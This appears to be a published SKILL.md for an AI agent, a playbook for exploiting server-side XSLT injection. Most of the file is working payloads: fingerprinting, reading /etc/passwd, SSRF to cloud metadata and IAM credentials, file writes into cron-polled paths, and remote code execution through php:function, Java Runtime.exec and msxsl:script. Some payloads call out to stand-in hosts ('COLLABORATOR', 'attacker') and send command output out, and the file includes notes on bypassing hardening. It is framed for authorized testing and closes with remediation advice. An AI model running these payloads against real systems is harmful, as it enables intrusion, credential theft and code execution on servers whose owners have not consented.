exploiting-xslt-server-side-injection

$npx mdskill add xalgord/xalgorix/exploiting-xslt-server-side-injection

- During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT - When you can upload or influence an `.xsl` stylesheet, or the XML references an external stylesheet - When PDF/report generators, document converters, or ESI `stylesheet=` params perform transforms - When XXE payloads fail but the stylesheet parser itself is still attacker-reachable - When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML

SKILL.md

.github/skills/exploiting-xslt-server-side-injectionView on GitHub ↗
---
name: exploiting-xslt-server-side-injection
description: Exploiting server-side XSLT injection where an application transforms XML with attacker-influenced
  stylesheets, enabling processor fingerprinting, local file read, SSRF, file write, and remote code execution via
  processor-specific extension functions (libxslt/lxml, Saxon, Xalan, .NET msxsl:script, PHP php:function). Activates
  when XSL/XSLT content or document/stylesheet references reach a server-side transformer.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- xslt-injection
- ssrf
- rce
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting XSLT Server-Side Injection

## When to Use

- During authorized tests where the server transforms XML to HTML/PDF/CSV using XSLT
- When you can upload or influence an `.xsl` stylesheet, or the XML references an external stylesheet
- When PDF/report generators, document converters, or ESI `stylesheet=` params perform transforms
- When XXE payloads fail but the stylesheet parser itself is still attacker-reachable
- When you see frameworks: libxslt (PHP/lxml/GNOME), Saxon (Java), Xalan (Apache), .NET, MSXML

## Critical: Variants Most Often Missed

The biggest miss is stopping at generic XXE. **Fingerprint the processor first**, then switch to processor-specific primitives — a failed `document('/etc/passwd')` or failed Java call does NOT mean the engine is hardened.

```xml
<!-- 1. FINGERPRINT: identify version + vendor before anything else -->
<xsl:value-of select="system-property('xsl:version')"/>
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
<xsl:value-of select="system-property('xsl:product-name')"/>
```

```xml
<!-- 2. FILE READ — vary by processor -->
<!-- Saxon (XSLT 2.0): unparsed-text reads ANY text file -->
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
<!-- libxslt: document() works for XML; /etc/passwd often FAILS because parsed as XML -->
<xsl:value-of select="document('/etc/passwd')"/>          <!-- may error -->
<xsl:value-of select="document('/path/to/file.xml')"/>     <!-- works if valid XML -->
<!-- PHP/libxslt extension -->
<xsl:value-of select="php:function('file_get_contents','/etc/passwd')"/>
<!-- DTD external entity inside the stylesheet -->
<!DOCTYPE x [<!ENTITY ext SYSTEM "file:///etc/passwd">]> ... &ext;
```

```xml
<!-- 3. SSRF -->
<xsl:value-of select="document('http://169.254.169.254/latest/meta-data/')"/>
<xsl:include href="http://127.0.0.1:8000/xslt"/>          <!-- include fetched BEFORE access control -->
<xsl:value-of select="document('http://example.com:22')"/> <!-- port probe -->
```

```xml
<!-- 4. FILE WRITE -->
<!-- libxslt EXSLT secondary output -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/html/test.txt" method="text">0xdf was here!</exsl:document>
  </xsl:template>
</xsl:stylesheet>
<!-- Saxon -->
<xsl:result-document href="local_file.txt"><xsl:text>Write Local File</xsl:text></xsl:result-document>
```

```xml
<!-- 5. RCE — processor-specific extension functions -->
<!-- PHP php:function -->
<xsl:value-of select="php:function('shell_exec','id')"/>
<!-- Xalan (Java) -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:variable name="r" select="rt:getRuntime()"/>
  <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
</xsl:stylesheet>
<!-- Saxon (java: prefix, needs ALLOW_EXTERNAL_FUNCTIONS) -->
<xsl:stylesheet version="2.0" xmlns:rt="java:java.lang.Runtime"> ...
  <xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/>
<!-- .NET msxsl:script (only if EnableScript=true; unsupported on .NET Core/5+) -->
<msxsl:script language="C#" implements-prefix="user"><![CDATA[
  public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker");return "ok";}
]]></msxsl:script>
```

### How to CONFIRM a hit (avoid false negatives)

- **Fingerprint success**: response shows `Version: 2.0`, `Vendor: SAXON 9.x` etc. → injection confirmed, pick the right payload set.
- **File read**: `/etc/passwd` content (regex `root:.*?:0:0:`) or target file bytes appear in the transformed output.
- **SSRF**: out-of-band callback hits your collaborator, OR `document('http://host:22')` returns a connect/timing difference per port.
- **File write**: re-fetch the written path (e.g. `/test.txt`) and see your marker. Remember XML encoding — use `&amp;` for a literal `&`, not `%26`.
- **Blind RCE**: when only a boolean/object reference comes back, pivot to DNS/HTTP callbacks, time delays (`shell_exec('sleep 10')`), or file writes — do not expect stdout.
- Hardening is partial: `document('/etc/passwd')` failing on libxslt doesn't rule out `php:function`/SSRF; a blocked Java call on Saxon doesn't rule out `doc()`/`unparsed-text()`.

## Workflow

### Step 1: Detect & Fingerprint

```bash
# Local repro environment
sudo apt-get install -y default-jdk libsaxonb-java libsaxon-java
saxonb-xslt -xsl:detection.xsl xml.xml      # prints Version + Vendor
```
Submit the `system-property()` stylesheet to the target and read the vendor string from the response.

### Step 2: Exploit per processor

```text
libxslt/PHP  -> php:function('file_get_contents'/'shell_exec'), document() SSRF, exsl:document write
Saxon        -> unparsed-text() read, result-document write, java: RCE if ext funcs enabled
Xalan        -> java.lang.Runtime exec (Java extension namespace)
.NET         -> document() SSRF/LFI always; msxsl:script RCE only on .NET Framework w/ EnableScript
```

### Step 3: Escalate to RCE / Impact

```xml
<!-- Confirm RCE blindly with a callback, then upgrade -->
<xsl:value-of select="php:function('shell_exec','curl http://COLLABORATOR/$(id|base64)')"/>
```
Practical write workflow: first write a marker into a web-served path to prove the primitive, then write into an execution sink already on the host (cron-polled dir, auto-reload path, scheduled task input).

### Hardening-bypass notes
- **lxml**: `XSLTAccessControl` defaults to allowing file/network and only mediates transform-time I/O; `xsl:import`/`xsl:include` are parsed BEFORE that hook, so attacker stylesheets still load.
- Apps often harden the XML parser (`resolve_entities=False`, `no_network=True`) but leave the stylesheet parser default — XSLT features stay reachable.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Processor fingerprinting** | `system-property('xsl:vendor'/'xsl:version')` selects the right exploit path |
| **document() vs unparsed-text()** | libxslt `document()` expects XML; Saxon `unparsed-text()` reads any text |
| **Extension functions** | `php:function`, `java:`/Xalan `Runtime`, `msxsl:script` enable RCE |
| **EXSLT / result-document** | `exsl:document` (libxslt) and `xsl:result-document` (Saxon) write files |
| **include/import pre-ACL** | `xsl:include` is fetched before access-control checks → SSRF/stylesheet load |
| **Blind RCE** | Boolean/object return → pivot to callbacks, delays, file writes |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **saxonb-xslt** | Local Saxon CLI for building/testing payloads |
| **xsltproc / libxslt** | Local libxslt repro |
| **Burp Suite** | Deliver stylesheets, capture transformed output, drive OOB |
| **Collaborator / interactsh** | Confirm blind SSRF & RCE callbacks |
| **PayloadsAllTheThings (XSLT Injection)** | Payload reference |
| **Auto_Wordlists/xslt.txt** | Detection/exploit payload list |

## Common Scenarios

### Scenario 1: PDF Generator File Read
A reporting endpoint transforms user XML into a PDF with Saxon. Injecting `unparsed-text('/etc/passwd')` embeds the password file into the generated PDF.

### Scenario 2: PHP libxslt RCE
A PHP app applies a user-controlled stylesheet. `php:function('shell_exec','id')` is enabled by default in many libxslt/PHP setups, giving direct command execution.

### Scenario 3: SSRF to Cloud Metadata
A .NET converter blocks `msxsl:script` but `document('http://169.254.169.254/latest/meta-data/iam/security-credentials/')` succeeds, leaking cloud IAM credentials.

## Output Format

```
## XSLT Server-Side Injection Finding

**Vulnerability**: XSLT Server-Side Injection
**Severity**: Critical (CVSS 9.1–9.8 for RCE; High for LFI/SSRF)
**Location**: POST /report/transform (XML/XSL upload or stylesheet= parameter)
**OWASP Category**: A03:2021 - Injection (with A10 SSRF when applicable)

### Reproduction Steps
1. Submit system-property() stylesheet → response shows Vendor: SAXON 9.1.0.8.
2. Submit unparsed-text('/etc/passwd') → /etc/passwd contents returned in output.
3. With ext funcs enabled, java:java.lang.Runtime exec triggers a collaborator callback (RCE).

### Evidence
| Payload | Result | Capability |
|---------|--------|-----------|
| system-property('xsl:vendor') | SAXON 9.1.0.8 | Fingerprint |
| unparsed-text('/etc/passwd') | root:x:0:0:... | File read |
| rt:exec(...,'curl COLLAB') | DNS/HTTP callback | RCE |

### Impact
Local file disclosure, SSRF (incl. cloud metadata), arbitrary file write, and remote code execution depending on processor and enabled extension functions.

### Recommendation
1. Never transform attacker-controlled stylesheets; pin trusted, static XSL.
2. Disable extension functions (PHP `php:function`, Saxon `ALLOW_EXTERNAL_FUNCTIONS`, .NET `EnableScript`).
3. Restrict the processor's file/network access (lxml `XSLTAccessControl`, `no_network=True`, resolver=None).
4. Run the transformer with least privilege and no outbound network access.
```

More from xalgord/xalgorix